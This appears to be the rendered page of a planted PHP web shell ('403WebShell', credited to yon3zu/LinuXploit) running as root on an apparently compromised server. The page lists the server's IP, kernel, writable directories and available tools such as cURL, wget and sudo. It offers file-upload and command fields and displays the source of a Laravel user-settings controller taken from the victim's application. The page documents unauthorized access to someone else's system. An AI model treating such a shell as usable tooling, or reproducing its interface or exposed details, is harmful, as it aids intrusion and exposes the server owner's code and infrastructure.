Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Http/Controllers/WebService/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Http/Controllers/WebService/UserSettingsController.php
<?php

namespace App\Http\Controllers\WebService;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Http\Requests\WebService\UserRequests\UserSettingsRequest;
use App\Models\UserSetting;
use Illuminate\Support\Facades\Auth;
use Illuminate\Http\Response;

class UserSettingsController extends Controller
{
    public function SetInfo(UserSettingsRequest $request)
    {

        $userSettings = UserSetting::updateOrCreate(
            ['user_id' => Auth::id()],
            $request->validated()
        );

        return response()->json(['status' => Response::HTTP_OK, 'message' => trans('messages.USER_SETTINGS_SAVED_SUCCESSFULLY'), 'info' => $userSettings]);
    }

    public function GetInfo()
    {
        $userSettings = Auth::user()->settings;
        if (!$userSettings) {
            return response()->json([
                'status' => Response::HTTP_NOT_FOUND,
                'message' => trans('messages.USER_SETTINGS_NOT_FOUND')
            ]);
        }

        return response()->json([
            'status' => Response::HTTP_OK,
            'info' => $userSettings
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit